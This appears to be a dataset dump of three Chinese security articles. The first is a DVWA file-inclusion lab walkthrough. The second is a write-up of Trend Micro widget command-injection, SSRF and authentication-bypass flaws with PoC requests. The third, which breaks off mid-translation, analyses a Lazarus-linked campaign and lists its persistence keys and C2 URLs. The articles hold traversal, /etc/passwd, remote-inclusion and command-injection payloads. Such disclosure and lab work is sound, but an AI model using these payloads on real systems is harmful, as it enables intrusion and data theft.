text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 4.File Inclusion
## 1.File Inclusion(Low)
相关代码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
可以看到，服务器端对page参数没有做任何的过滤跟检查。
服务器期望用户的操作是点击下面的三个链接，服务器会包含相应的文件，并将结果返回。需要特别说明的是，服务器包含文件时，不管文件后缀是否是php，都会尝试当做php文件执行，如果文件内容确为php，则会正常执行并返回结果，如果不是，则会原封不动地打印文件内容，所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
点击file1.php后，显示如下
而现实中，恶意的攻击者是不会乖乖点击这些链接的，因此page参数是不可控的。
本地文件包含，构造url，利用绝对路径:
/vulnerabilities/fi/?page=/etc/passwd
构造url，利用相对路径:
/vulnerabilities/fi/?page=../../../../../etc/passwd
远程文件包含，web公网上其它网站上有一个phpinfo文件，<http://47.94.9.224:83/vul/unsafeupload/uploads/phpinfo.php>
构造url，成功读取到文件
<http://43.247.91.228:81/vulnerabilities/fi/?page=http://47.94.9.224:83/vul/unsafeupload/uploads/phpinfo.php>
将远程文件的url进行hex编码后也可以成功执行
%68%74%74%70%3a%2f%2f%34%37%2e%39%34%2e%39%2e%32%32%34%3a%38%33%2f%76%75%6c%2f%75%6e%73%61%66%65%75%70%6c%6f%61%64%2f%75%70%6c%6f%61%64%73%2f%70%68%70%69%6e%66%6f%2e%70%68%70
<http://43.247.91.228:81/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f%34%37%2e%39%34%2e%39%2e%32%32%34%3a%38%33%2f%76%75%6c%2f%75%6e%73%61%66%65%75%70%6c%6f%61%64%2f%75%70%6c%6f%61%64%73%2f%70%68%70%69%6e%66%6f%2e%70%68%70>
可以利用文件上传漏洞上传的phpinfo文件，在此处进行包含(详情见文件上传靶场，此处直接利用)，构造url：
<http://43.247.91.228:81/vulnerabilities/fi/?page=http://43.247.91.228:81/hackable/uploads/phpinfo.php>
成功进行包含
## 2.File Inclusion(Medium)
相关代码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
可以看到，Medium级别的代码增加了str_replace函数，对page参数进行了一定的处理，将”http:// ”、”<https://”、> ”
../”、”..\”替换为空字符，即删除。
服务器虽然过滤了相对路径，但是并没有有过滤绝对路径, 所以依然可以用绝对路径包含文件
本地文件包含，构造url
/vulnerabilities/fi/?page=/etc/passwd
使用str_replace函数是极其不安全的，因为可以使用双写绕过替换规则。
例如page=ht<http://tp://192.168.5.12/phpinfo.txt时，str_replace函数会将http://删除，于是page=http://192.168.5.12/phpinfo.txt，成功执行远程命令。>
构造url
/vulnerabilities/fi/?page=..././..././..././..././..././etc/passwd
远程文件包含，构造url，包含其他网站的phpinfo文件
/vulnerabilities/fi/?page=ht<http://tp://47.94.9.224:83/vul/unsafeupload/uploads/phpinfo.php>
将远程文件的url进行hex编码后也可以成功执行
%68%74%68%74%74%70%3a%2f%2f%74%70%3a%2f%2f%34%37%2e%39%34%2e%39%2e%32%32%34%3a%38%33%2f%76%75%6c%2f%75%6e%73%61%66%65%75%70%6c%6f%61%64%2f%75%70%6c%6f%61%64%73%2f%70%68%70%69%6e%66%6f%2e%70%68%70
<http://43.247.91.228:81/vulnerabilities/fi/?page=%68%74%68%74%74%70%3a%2f%2f%74%70%3a%2f%2f%34%37%2e%39%34%2e%39%2e%32%32%34%3a%38%33%2f%76%75%6c%2f%75%6e%73%61%66%65%75%70%6c%6f%61%64%2f%75%70%6c%6f%61%64%73%2f%70%68%70%69%6e%66%6f%2e%70%68%70>
可以利用文件上传漏洞上传的phpinfo文件，在此处进行包含(详情见文件上传靶场，此处直接利用)，构造url：
<http://43.247.91.228:81/vulnerabilities/fi/?page=hthttp://tp://43.247.91.228:81/hackable/uploads/phpinfo.php>
成功进行包含
## 3.File Inclusion(High)
相关代码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
High级别的代码使用了fnmatch函数检查page参数，要求page参数的开头必须是file，服务器才会去包含相应的文件。
对url进行修改，可以利用文件上传漏洞上传的phpinfo文件，在此处进行包含(详情见文件上传靶场，此处直接利用)
构造url：
<http://43.247.91.228:81/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/phpinfo.php>
成功进行包含
## 4.File Inclusion(Impossible)
相关代码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
可以看到，Impossible级别的代码使用了白名单机制进行防护，简单粗暴，page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一，彻底杜绝了文件包含漏洞。
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# 【技术分享】揭秘通杀多款趋势科技产品的RCE漏洞
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
框架的安全性已经越来越引起安全人员的关注，例如Apache
Struts案例中由于框架内单一漏洞所引发的安全冲击想必大家早有耳闻。如果从产品供应商的角度来考虑这种风险的话，我们也能找到非常类似的情形。在本文中，我将向您展示如何在不同的趋势科技产品远程执行代码，因为这些不同产品都使用了相同的代码库。
**一个漏洞通杀所有产品——趋势科技产品的Widget**
大多数趋势科技的产品都为管理员网页提供了相应的widget。虽然核心系统是通过Java/.NET编写的，但是这个widget机制却是用PHP实现的。这就意味着，每当使用widget时，相应的产品中必须植入PHP解释器。这对于攻击者来说，简直就是一个完美的情形：由于各种不同的产品中含有相同的代码库，所以一旦从中发现了漏洞，就能够顺利搞定所有的产品。
由于上面提到的原因，我对趋势科技OfficeScan产品的widget系统进行了一次代码审核。这次审计的结果一方面是非常有趣的，同时对我来说也是不幸的，因为虽然找到了6个不同的漏洞，但只有2个是0day。
在深入了解该漏洞之前，我想先分享一下这个widget库的工作原理。
**从头开始**
****
这个widget框架有一个代理机制。简而言之，我们有一个 **proxy_controller.php**
端点，它会接收用户提供的参数，然后根据用户的输入来调用相关的类。
widget的类型主要有两种：用户生成的widget和默认的widget。以下源代码取自proxy_controller.php文件。
if(!isset($g_GetPost)){
$g_GetPost = array_merge($_GET,$_POST);
}else{
$g_GetPost = array_merge($g_GetPost,$_GET,$_POST);
}
// ... CODE OMIT ...
$server_module = $g_GetPost['module'];
$isDirectoryTraversal = WF::getSecurityFactory()->getSanitize()->isDirectoryTraversal($server_module);
if(true === $isDirectoryTraversal){
mydebug_log("Bad guy come in!!");
proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE, WF_PROXY_ERR_INIT_INVALID_MODULE_MSG);
}
$intUserGeneratedInfoOfWidget = (array_key_exists('userGenerated', $g_GetPost)) ? $g_GetPost['userGenerated'] : 0;
if($intUserGeneratedInfoOfWidget == 1){
$strProxyDir = USER_GENERATED_PROXY_DIR;
}else{
$strProxyDir = PROXY_DIR;
}
$myproxy_file = $strProxyDir . "/" . $server_module . "/Proxy.php";
//null byte injection prevents
if( is_string( $myproxy_file ) ) {
$myproxy_file = str_replace( "", '', $myproxy_file );
}
// does file exist?
if(file_exists($myproxy_file)){
include ($myproxy_file);
}else{
proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE, WF_PROXY_ERR_INIT_INVALID_MODULE_MSG);
}
// does class exist?
if(! class_exists("WFProxy")){
proxy_error(WF_PROXY_ERR_INIT_MODULE_ERROR, WF_PROXY_ERR_INIT_MODULE_ERROR_MSG);
}
// ... CODE OMIT ...
$request = new WFProxy($g_GetPost, $wfconf_dbconfig);
$request->proxy_exec();
$request->proxy_output();
上述代码块将分别执行以下操作。
1\. 合并GET和POST参数，然后将它们存储到$ g_GetPost变量中。
2\. 验证$ g_GetPost ['module']变量。
3\. 然后通过检测$ g_GetPost ['userGenerated']参数来确定是否请求由用户生成的窗口widget。
4\. 包含所需的php类。
5\. 作为最后一步，创建一个WFProxy实例，然后调用proxy_exec()和proxy_output()方法。
基本上，我们会有多个WFProxy实现，而具体引用哪一个WFProxy实现则是由来自客户端的值所决定的。
好了，有了上面的知识做铺垫，接下来就可以深入探讨我发现的各种技术细节了，因为所有这些内容，都是关于如何利用不同的类来传递参数的。
**漏洞＃1——认证命令注入**
****
以下代码取自modTMCSS的WFProxy实现。
public function proxy_exec()
{
// localhost, directly launch report.php
if ($this->cgiArgs['serverid'] == '1')
{
if($this->cgiArgs['type'] == "WR"){
$cmd = "php ../php/lwcs_report.php ";
$this->AddParam($cmd, "t");
$this->AddParam($cmd, "tr");
$this->AddParam($cmd, "ds");
$this->AddParam($cmd, "m");
$this->AddParam($cmd, "C");
exec($cmd, $this->m_output, $error);
if ($error != 0)
{
$this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
$this->errMessage = "exec lwcs_report.php failed. err = $error";
}
}
else{
$cmd = "php ../php/report.php ";
$this->AddParam($cmd, "T");
$this->AddParam($cmd, "D");
$this->AddParam($cmd, "IP");
$this->AddParam($cmd, "M");
$this->AddParam($cmd, "TOP");
$this->AddParam($cmd, "C");
$this->AddParam($cmd, "CONSOLE_LANG");
exec($cmd, $this->m_output, $error);
if ($error != 0)
{
$this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
$this->errMessage = "exec report.php failed. err = $error";
}
}
}
private function AddParam(&$cmd, $param)
{
if (isset($this->cgiArgs[$param]))
{
$cmd = $cmd.$param."=".$this->cgiArgs[$param]." ";
}
}
显然，我们有可能从这里找到一个命令注入漏洞。但是我们还面临一个问题：我们可以控制$this-> cgiArgs数组吗？
答案是肯定的。如果回顾一下前面的代码，你会发现$request = new
WFProxy（$g_GetPost，$wfconf_dbconfig），因此$g_GetPost是完全可控的。
每一个WFProxy类都继承自ABaseProxy抽象类；下面是这个基类的__construct方法的前两行代码。
public function __construct($args, $dbconfig){
$this->cgiArgs = $args;
这意味着，$this->cgiArgs直接是通过GET和POST参数进行填充的。
**PoC**
POST /officescan/console/html/widget/proxy_controller.php HTTP/1.1
Host: 12.0.0.184
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie:; LogonUser=root; wf_CSRF_token=fb5b76f53eb8ea670c3f2d4906ff1098; PHPSESSID=edir98ccf773n7331cd3jvtor5;
X-CSRFToken: fb5b76f53eb8ea670c3f2d4906ff1098
ctype: application/x-www-form-urlencoded; charset=utf-8
Content-Type: application/x-www-form-urlencoded
Content-Length: 6102
module=modTMCSS&serverid=1&TOP=2>&1|ping 4.4.4.4
重要提示：当exec()函数用于第二和第三个函数参数时，如果要使用管道技巧的话，则只需要成功执行第一个命令即可。这时，我们的命令将变成php
../php/lwcs_report.php TOP = 2>＆1 | ping
4.4.4.4。其中，这里使用2>＆1是为了欺骗exec()函数，因为我们在产品根本就没有lwsc_report.php这个脚本。因此，命令的第一部分总是返回command
not found错误。
不幸的是，我意识到这个漏洞是由Source Incite的Steven
Seeley发现的；并且，在几个星期前，供应商就发布了相应的补丁（http://www.zerodayinitiative.com/advisories/ZDI-17-521/）。
根据该补丁建议来看，需要进行身份验证之后才能利用该漏洞。此外，我找到了一种方法，可以来绕过身份验证，目前这种漏洞利用方法还是一个0day。
关于这个0day的详细介绍，请参考漏洞#_6。
**漏洞＃2＃3＃4——泄露私钥 & 公开访问Sqlite3 & SSRF**
****
另一位研究人员（John
Page，又名hyp3rlinx）也发现了这些漏洞。不过，这些漏洞并非本文的重点关注对象，所以不做介绍。对于这些漏洞的技术细节感兴趣的读者，可以访问下面的链接<https://www.exploit-db.com/exploits/42920/>。
**漏洞＃5——服务端请求伪造（0day）**
****
您还记得以前提到过的那两种类型的widget（用户生成的widget和系统widget）吗？
趋势科技在代码库中提供了一个默认用户生成的widget实现。它的名字是modSimple。我相信它肯定还留在项目中，用来演示如何实现自定义widget。
下面是这个widget的proxy_exec()函数的实现代码。
public function proxy_exec() {
$this->httpObj->setURL(urldecode($this->cgiArgs['url']));
if( $this->httpObj->Send() == FALSE ) {
//Handle Timeout issue here
if($this->httpObj->getErrCode()===28)
{
$this->errCode = WF_PROXY_ERR_EXEC_TIMEOUT;
}
else
{
$this->errCode = WF_PROXY_ERR_EXEC_CONNECT;
}
$this->errMessage = $this->httpObj->getErrMessage();
}
}
我们可以看到，它直接就使用了url参数，而没有进行任何验证。也许您还记得，$this-> cgiArgs ['url']是一个用户控制的变量。
**PoC**
POST /officescan/console/html/widget/proxy_controller.php HTTP/1.1
Host: 12.0.0.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Request: JSON
X-CSRFToken: o6qjdkto700a43nfslqpjl0rm5
Content-type: application/x-www-form-urlencoded; charset=utf-8
Referer: https://12.0.0.200:8445/widget/index.php
Content-Length: 192
Cookie: JSESSIONID=C2DC56BE1093D0232440A1E469D862D3; CurrentLocale=en-US; PHPSESSID=o6qjdkto700a43nfslqpjl0rm5; un=7164ceee6266e893181da6c33936e4a4; userID=1;; wids=modImsvaSystemUseageWidget%2CmodImsvaMailsQueueWidget%2CmodImsvaQuarantineWidget%2CmodImsvaArchiveWidget%2C; lastID=4; cname=dashBoard; theme=default; lastTab=3; trialGroups=newmenu%0D%0AX-Footle:%20bootle
X-Forwarded-For: 127.0.0.1
True-Client-Ip: 127.0.0.1
Connection: close
module=modSimple&userGenerated=1&serverid=1&url=http://azdrkpoar6muaemvbglzqxzbg2mtai.burpcollaborator.net/
**漏洞＃6 – 认证绕过漏洞（0day）**
****
前面说过，核心系统是用Java/.NET编写的，但是这个widget系统是用PHP实现的。所以，这里最大的问题是：
当请求到达widget时，它们怎样才能知道用户已经通过了身份验证呢？
回答这个问题的最简单的方法是，跟踪Burp日志，检查用户是否了登陆了视图仪表板，因为登陆是通过widget进行的。以下HTTP POST请求引起了我的注意。
POST /officescan/console/html/widget/ui/modLogin/talker.php HTTP/1.1
Host: 12.0.0.175
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: session_expired=no;; LogonUser=root; wf_CSRF_token=c7ce6cd2ab50bd787bb3a1df0ae58810
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 59
X-CSRFToken: c7ce6cd2ab50bd787bb3a1df0ae58810
Content-Type: application/x-www-form-urlencoded
cid=1&act=check&hash=425fba925bfe7cd8d80a8d5f441be863&pid=1
以下代码便是取自该文件。
if(!WF::getSecurityFactory()->getHttpToken()->isValidHttpHeaderToken()){
make_error_response(WF_ERRCODE_HTTP_HEADER_TOKEN_ERR, WF_ERRCODE_HTTP_HEADER_TOKEN_ERR_MSG);
exit();
}
// ... CODE OMIT ...
if( $_REQUEST['act'] == "check" ) {
mydebug_log("[LOGIN][check]");
if( (!isset($_REQUEST['hash']) || $_REQUEST['hash'] == "") ) {
make_error_response( LOGIN_ERRCODE_LACKINPUT, LOGIN_ERRCODE_LACKINPUT_MSG."(email)");
exit;
}
// check user state
$recovered = false;
if( STANDALONE_WF ) {
mydebug_log("[LOGIN][check] recover session STANDALONE");
$recovered = $wfuser->standalone_user_init();
} else {
mydebug_log("[LOGIN][check] recover session PRODUCT");
$recovered = $wfuser->product_user_init();
}
if( $recovered == false ) {
mydebug_log("[LOGIN][check] recover session failed");
make_error_response( LOGIN_ERRCODE_LOGINFAIL, LOGIN_ERRCODE_LOGINFAIL_MSG);
exit;
}
mydebug_log("[LOGIN][check] recover session ok");
/*
* return the widgets of only first tab
*/
$ckresult = $wfuser->check_result($_REQUEST['pid'],$_REQUEST['cid']);
if( $ckresult == false ) {
make_error_response( LOGIN_ERRCODE_DBERR, LOGIN_ERRCODE_DBERR_MSG);
} else {
mydebug_log("[LOGIN][check] check result: ".$ckresult);
make_successful_response( LOGIN_OK_SUCCESS_MSG, $ckresult);
}
exit;
}
首先，我们在这里进行的是CSRF验证。但重要的代码位于17-23行之间。 $wfuser->
standalone_user_init()和$wfuser->
product_user_init()负责使用widget框架进行身份验证。下面，让我们从第一个调用开始介绍。
这里有4个内部函数调用序列。
public function standalone_user_init(){
mydebug_log("[WFUSER] standalone_user_init()");
if(isset($_COOKIE['userID'])){
return $this->recover_session_byuid($_COOKIE['userID']);
}
mydebug_log("[WFUSER] standalone_user_init(): cookie userID isn't set");
return false;
}
public function recover_session_byuid($uid){
mydebug_log("[WFUSER] recover_session_byuid() " . $uid);
if(false == $this->loaduser_byuid($uid)){
mydebug_log("[WFUSER] recover_session_byuid() failed");
return false;
}
return $this->recover_session();
}
public function loaduser_byuid($uid){
mydebug_log("[WFUSER] loaduser_byuid() " . $uid);
// load user
$uinfolist = $this->userdb->get_users($uid);
if($this->userdb->isFailed()){
return false;
}
// no exists
if(! isset($uinfolist[0])){
return false;
}
// get userinfo
$this->userinfo = $uinfolist[0];
return true;
}
public function get_users($uid = null){
// specify uid
$work_uid = $this->valid_uid($uid);
if($work_uid == null){
return;
}
// query string
$sqlstring = 'SELECT * from ' . $this->users_table . ' WHERE id = :uid';
$sqlvalues[':uid'] = $work_uid;
return $this->runSQL($sqlstring, $sqlvalues, "Get " . $this->users_table . " failed", 1);
}
上述代码分别执行以下操作。
1\. 从cookie获取相应的值
2\. 调用loaduser_byuid()并将相应的值传递给该函数。
3\. 用给定的值调用get_users()函数。
如果该函数返回true，它将返回true，从而让前面的函数继续并调用recover_session()函数。
4\. get_users()函数将利用给定的唯一id执行SQL查询。
$wfuser-> product_user_init()函数序列几乎没有什么变化。 $wfuser->
standalone_user_init()和$wfuser->
product_user_init()之间的唯一区别就是第一个函数使用user_id，而第二个函数则使用username。
我在这里没有看到任何身份验证。甚至连hash参数都没有使用。所以使用相同的变量调用这个端点将顺利通过身份验证。
**一个漏洞搞定所有产品（Metasploit Module）**
****
现在我们发现了两个漏洞。第一个是最近修补的命令注入漏洞，第二个是widget系统的身份验证绕过漏洞。如果将这些漏洞组合起来，我们就能在没有任何身份凭证的情况下执行操作系统的命令。
下面是相应的metasploit模块的演示。 (<https://github.com/rapid7/metasploit-framework/pull/9052>)
相同的代码/漏洞：趋势科技InterScan Messaging Security产品的RCE漏洞
在这个widget框架方面，InterScan Messaging Security和OfficeScan的区别之一就是..路径！
OfficeScan的widget框架路径：
**https://TARGET/officescan/console/html/widget/proxy_controller.php**
IMSVA widget 框架的路径:
**https://TARGET:8445/widget/proxy_controller.php**
另一个主要区别就是widget认证。对于talker.php来说，IMSA稍微有些不同，具体如下所示。
if(!isset($_COOKIE["CurrentLocale"]))
{
echo $loginscript;
exit;
}
$currentUser;
$wfsession_checkURL="Https://".$_SERVER["SERVER_ADDR"].":".$_SERVER["SERVER_PORT"]."/WFSessionCheck.imss";
$wfsession_check = new WFHttpTalk();
$wfsession_check->setURL($wfsession_checkURL);
$wfsession_check->setCookies($_COOKIE);
if(isset($_COOKIE["JSESSIONID"]))
mydebug_log("[product_auth] JSEEEIONID:".$_COOKIE["JSESSIONID"]);
$wfsession_check->Send();
$replycode = $wfsession_check->getCode();
mydebug_log("[product_auth]reply code-->".$replycode);
$replybody = $wfsession_check->getBody();
mydebug_log("[product_auth]reply body-->".$replybody);
if($replycode != 200)
{
mydebug_log("[product_auth] replycode != 200");
echo $loginscript;
exit;
}
它从用户那里取得JSESSIONID的值，然后使用这个值向WFSessionCheck.imss发送HTTP请求，在那里通过核心Java应用进行用户身份验证。看起来，这好像能够防止上面发现的身份验证绕过漏洞，但实际上并非如此。为此，我们需要仔细研读上面的代码：即使请求中不存在JSESSIONID的时候，上述代码也会使用JSESSIONID来调用mydebug_log()函数。
请注意，该日志文件是可通过Web服务器公开访问的。
https://12.0.0.201:8445/widget/repository/log/diagnostic.log
所以，要想利用OfficeScan中的漏洞的话，我们只需要添加一个额外的步骤即可。也就是说，我们需要读取这个日志文件的内容，以便提取有效的JSESSIONID值，然后利用它来绕过身份验证。
下面是相应的metasploit模块的演示。 (<https://github.com/rapid7/metasploit-framework/pull/9053>)
**小结**
首先，我想再次重申，趋势科技已经为这两种产品中的命令注入漏洞提供了安全补丁。 因此，如果您是趋势科技用户，或您的组织正在使用这些产品的话，请立刻行动起来。
当然，在不同的产品中使用相同的代码库并不是什么坏事。本文只是想指出，在这种情况下，框架中的一个bug就可能会引起很大的麻烦。
那么，到底有多少不同的产品受这个漏洞影响呢？
我不知道，因为目前仅仅检查了这两个产品。当然，如果有时间的话，我还会检查其他产品。 | 社区文章 |
**作者：深信服千里目安全实验室
原文链接：<https://mp.weixin.qq.com/s/8hLNDgrRcbvP3W0ASrwOwQ> **
## 摘要
漏洞研究者是大家心目中的安全专家，然而当安全专家的心理弱点被不讲武德的黑客利用，专家电脑上高价值的智力资产就会处于危险的境地，然而更危险的是这些本用于研究目的信息中如果存在可被武器化的内容，就导致研究人员无意中成为这些黑客的帮凶。
## 事件影响
26日，谷歌威胁分析小组披露了一系列来自东北亚某国黑客组织的针对安全研究人员(尤其是漏洞研究人员)的攻击活动。攻击者使用疑似Lazarus
APT组织的攻击基础设施，结合非常具有迷惑性的社工操作，骗取受害者信任，并可能以盗取安全公司电脑上的高价值漏洞研究资料达到攻击目的。目前国内已有一定数量的安全研究人员受到这个组织的欺骗，其研究电脑的敏感信息泄露。
## 攻击技巧
攻击者为了与安全研究者建立互信并保持联系，首先会在一些社交媒体上发布一些漏洞研究博客和Twitter，吸引相关研究者的关注。其已知的攻击策略有两种：
(1)在Twitter上进行一段时间的技术交流获得研究者信任后，攻击者会询问研究人员是否愿意开展合作研究，并向受害研究人员提供一个经过PGP加密的所谓“开展漏洞研究的VS源码项目”。其中在编译配置文件中调用了一段powershell脚本，加载了第一阶段的恶意DLL，进行一系列持久化配置在受害的研究者电脑建立后门，并与其C2服务建立连接，成为一个被控的目标。
(2)攻击者Twitter会链接到他们搭建的以漏洞研究博客为内容却包含疑似漏洞利用恶意代码的水坑站点。当受害者浏览相关页面时，其电脑将被安装一个恶意服务，并启动一个内存后门程序，开始与攻击者的C2建立连接，成为一个被控的目标。
在此，攻击者利用了安全研究人员的 ** _多个心理弱点_** ：
(1)研究者往往以为攻击者是个安全研究同行，且攻击者并不像其他漏洞贩子那样有金钱诉求，并在github上有长达近一年的持续内容更新，导致研究者降低了心理防御；
(2)漏洞研究者收到的攻击者的VS代码看来是明文，而研究者往往忽视对待编译代码配置文件的审计，意识不到编译过程中恶意代码就会执行；
## 攻击溯源
对比Lazarus组织2020年9月的攻击活动，从攻击者使用的C2域名，攻击技巧和恶意代码，可发现本次攻击事件Lazarus APT组织具有较大关联性。
（1）在基础设施上，有与Lazarus关联的C2（www.dronerc[.]it ，www.fabioluciani[.]com
），且使用的url有很大相似性：
（2）在攻击手法上，通过rundll32
加载恶意文件，传入16位随机字符串解密密钥“5I9YjCZ0xlV45Ui8”，payload命名方式（都以db为后缀），也与Lazarus组织2020年9月攻击活动的手法相似：
| 《Lazarus使用招聘诱饵结合持续更新的网络武器》 | 本次攻击事件
---|---|---
payload命名方式 | localdb.db | Browse.VC.db
payload执行方式 | rundll32 | rundll32
解密方式 | 16字节密钥 | 16字节密钥
payload执行入口 | 导出函数 | 导出函数
（3）对比相关payload文件，其数据解密部分，反射注入部分代码结构及代码数量方面具有很大的相似性：
## 技术分析详情
千里目高级威胁研究团队对相关恶意代码的分析显示其攻击的技术流程如下：
**攻击链1：**
(1)本次攻击者通过在VS项目中设置预构建事件命令，通过rundll32执行VS项目中附带的恶意64位的dll文件，编译时间戳为2020年12月19日(文件名Browse.VC.db，事实上是一个PE)：
描述 | 详细信息
---|---
名称 | Browse.VC.db
文件大小 | 428544 bytes
文件类型 | dll
文件功能 | 释放器
编译时间 | 2020/12/19 8:26:45
开发平台及语言 | win/c++
是否加壳 | 否
VT首次上传时间 | 2020-12-31 22:25:33
md5 | b52e05683b15c6ad56cebea4a5a54990
Sha256 | 68e6b9d71c727545095ea6376940027b61734af5c710b2985a628131e47c6af7
伪装成微软的组件程序：
截止到北京时间2021年1月26日下午18点，google发布预警数小时后，VT上也仅有15个引擎能够检出。
(2)调用导出函数，使用RC4解密出驻留文件夹路径、文件名称、注册表项等：
创建文件夹
C:\ProgramData\VirtualBox\
打开注册表启动项，设置启动项数据
“HKLM\Software\Microsoft\Windows\CurrentVersion\Run”:
C:\\Windows\\System32\\rundll32.exe
C:\\\\ProgramData\\\\VirtualBox\\\\update.bin,ASN2_TYPE_new 5I9YjCZ0xlV45Ui8 4113
(3)内存解密释放第二阶段文件加载器update.bin，并且创建进程启动该加载器
C:\ProgramData\VirtualBox\update.bin
描述 | 详细信息
---|---
名称 | update.bin
文件大小 | 524288 bytes
文件类型 | dll
文件功能 | 加载器
编译时间 | 2020/12/19 8:24:34
开发平台及语言 | win/c++
是否加壳 | 否
VT首次上传时间 | 2020-12-31 22:10:41
md5 | 9e9f69ed56482fff18933c5ec8612063
Sha256 | 25d8ae4678c37251e7ffbaeddc252ae2530ef23f66e4c856d98ef60f399fa3dc
(4)该加载器在内存解密新的dll，并且反射加载，传递固定参数4113
描述 | 详细信息
---|---
名称 | Dll.dll
文件大小 | 475648 bytes
文件类型 | dll
文件功能 | 远控
编译时间 | 2020/12/19 6:49:44
开发平台及语言 | win/c++
是否加壳 | 否
VT首次上传时间 | 2020-12-31 22:10:41
md5 | 0D8A05DE2C0D4DB54644178933AFA775
Sha256 | 858AF1B8F4EFAEF560784617405FA46B714A69FCCA060E1F770C640883EAC3FF
(5)执行后，只开启一个线程作监听作用，便于后续执行上传下载操作，C2地址：
hxxps://codevexillium.org/image/download/download.asp
hxxps://angeldonationblog.com/image/upload/upload.php
与C2进行数据通信，目前相关页面已经被删除
**攻击链2：**
根据Google安全报告以及安全人员反馈，该攻击者还疑似使用chrome浏览器0day漏洞对目标进行攻击。攻击成功会在其相关注册表留下被加密的payload，并且释放一个伪造为驱动文件的DLL文件创建服务进行驻留（如helpsvc.sys）。
其创建的两条注册项分别为
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverConfig
其中注册表中保存着相关payload的加密数据
其拥有如下导出函数ServiceMain，调用并且注册服务
其会解密相关注册表路径，并且读取注册表中的数据
HKLM\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\KernelConfig
读取SubVersion值，为数据大小
读取Description值，其为加密的payload数据
解密读取的数据为一个远控DLL文件，释放器会进行反射注入并且调用
描述 | 详细信息
---|---
名称 | T_DLL.dll
文件大小 | 743936 bytes
文件类型 | dll
文件功能 | 远控
编译时间 | 2020/11/7 17:51:10
开发平台及语言 | win/c++
是否加壳 | 否
VT首次上传时间 | 2020-12-31 22:25:33
md5 | 364FAFB8764183C926E7AB644B0D09A4
Sha256 | D84E101B92F90D2349FE0F5CD25B8219B71FF4F413C7263BB6CBF2690B032F66
该远控会连接C2，根据返回命令执行相关动作。
https://www.dronerc.it/shop_testbr/Core/upload.php
http://www.trophylab.com/notice/images/renewal/upload.asp
该远控拥有命令执行、信息搜集、注册表操作、屏幕截图等功能。
## 事件背景详情
为方便读者理解事件背景，我们将谷歌预警的原文翻译如下，部分敏感内容被打码，有兴趣的读者可以阅读原始链接：
<https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers>
### 背景详情：谷歌预警原文
关于一个针对安全研究人员新型定向攻击活动的分析报告
(New campaign targeting security researchers)
在过去的几个月里，Threat Analysis
Group发现了一个针对漏洞研究和开发人员的定向攻击活动，被攻击者分布在多个公司和组织。目前，通过溯源已经确定，本次攻击活动背后的攻击者来自于一个由****支持的组织，该组织使用了多种攻击技术和手段发起本次定向攻击活动。攻击者控制的站点和账户详情请参阅附录。
为警醒本领域的研究人员，我们对该攻击事件进行了系统分析，并发布本文，以提醒安全研究人员，他们也已经成为定向攻击的目标。当他们与陌生人针对一些安全问题进行互动时，必须保持足够的警惕。否则，即使你是从事安全研究的人员，你也可能会“中招”。
在本次攻击活动中，攻击者为了与安全研究者建立互信并保持互动联系，首先会在一些社交媒体上发布一些研究博客和Twitter，从而构建起一个从事安全研究的个人账户，以此吸引潜在的目标对象前来访问。攻击者会在他们的Twitter帐户下发布博客，以及他们所宣称的漏洞利用视频，并转发其它一些受他们控制帐户的帖子，如图1所示。
图1 攻击者控制的Twitter账户(Actor controlled Twitter profiles)
攻击者发布的博客中，通常会包含一些针对已公开漏洞的分析和报道，并且这些博客还会包含来自于一些不知情的合法安全研究人员的跟帖，以最大限度地与其他研究人员建立起互信关系。攻击者发布的一个针对公开漏洞的分析博客如图2所示。
图2 攻击者发布的针对一个公开漏洞的分析博客示例 (Example of an analysis done by the actor about a
publicly disclosed vulnerability.)
